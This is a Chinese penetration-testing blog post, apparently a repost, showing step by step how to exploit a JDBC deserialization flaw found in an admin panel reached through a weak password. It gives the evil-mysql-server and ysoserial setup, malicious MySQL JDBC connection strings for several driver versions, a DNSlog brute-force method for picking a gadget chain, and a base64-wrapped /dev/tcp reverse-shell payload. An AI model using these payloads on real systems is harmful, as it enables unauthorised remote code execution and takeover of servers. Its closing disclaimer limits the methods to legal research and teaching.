文章总结: 本文详细介绍了JDBC反序列化漏洞的实战利用过程。作者通过弱口令进入后台,发现数据库连接功能点,利用evil-mysql-server和ysoserial工具,根据MySQL版本选择对应payload,并通过DNSlog爆破确定可用反序列化链为CommonsCollections6,最终成功实现反弹shell。文章提供了清晰的步骤和命令示例,为安全测试人员提供了可操作的技术参考。 综合评分: 82 文章分类: 漏洞分析,渗透测试,红队,实战经验,WEB安全
JDBC反序列化实战
原创
hl666 hl666
安全小子大杂烩
2023年5月21日 18:03 浙江
在小说阅读器读本章
去阅读
前言:
项目中遇到一个JDBC反序列化的点,和同学交流之后也是拿下了这个点,记录一下也是对这个加深一下印象。
至于什么是JDBC反序列化可以自行去了解,该文章只是提供一下打的思路。
特征点:
获取一个弱口令进入后台:
看到了一个连接数据库的一个功能点,像实战中这种功能点都可以去尝试一下这个反序列化。
image-20230521132057311
当时只知道可能会存在JDBC反序列化这么一个漏洞,但是自己没怎么打过,向同学了解之后,简单总结一下过程。
过程:
需要工具:
https://github.com/dushixiang/evil-mysql-server
https://github.com/frohoff/ysoserial
服务端启动恶意mysql:
参考:
https://github.com/dushixiang/evil-mysql-server/blob/master/README-zh_CN.md
./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-all.jar
确定mysql版本:
常用的payload如下:
5.1.11-5.x
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections1_calc.exe
6.x
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections1_calc.exe
8.x
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections1_calc.exe
这里解释一下username什么意思:
如图解释:yso_CommonsCollections1_calc.exe是选择CommonsCollections1这条链执行calc命令
image-20230521173325620
这里随便选择一个payload打过去:注意这里username单独写,密码随意。
image-20230521133627898
image-20230521133714618
可以看到mysql版本为8.x,这样就能确定mysql版本了:
寻找反序列化链子:
前面确定mysql版本之后,要确定可打的链子是哪一条,这里同学也是给了一个思路,将ysoserial里面的payload作为一个字典,利用burp爆破,假设cc1可用,那么payload为:yso_CommonsCollections1_curl echo CommonsCollections1.objxwd.dnslog.cn,这样dnslog.cn就会回显CommonsCollections1字段,利用该思想对该链子进行爆破:
image-20230521134244516
如图,选择该处的两个位置同时进行爆破,将ysoserial的链子作为字典:
image-20230521134349702
最后爆出了可用的链子为cc6:
image-20230521134456566
这样mysql版本确定了,可用链子也确定了,接下来就是构造恶意的payload打过去就行了:
反弹shell:
假设反弹地址为1.1.1.1:1234
反弹命令为:/bin/sh -i >& /dev/tcp/1.1.1.1/1234 0>&1
连接字符串:
jdbc:mysql://ip:端口/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
username:
ysu_CommonsCollections6_bash -c {echo,反弹命令base64编码}|{base64,-d}|{bash,-i}
直接打过去:
image-20230521135050594
这里成功收到会话
总结:
对于可能第一次了解到这个漏洞理解可能比较困难,但是这里也提供了一个可以利用的点,当遇到这种功能点时,至少是能想到有这么一个东西,具体可以自行去了解,了解完之后在理解这篇文章就很容易了,思路过程写的也很清晰,照着这个过程来就行了。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全小子大杂烩 hl666 hl666《JDBC反序列化实战》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论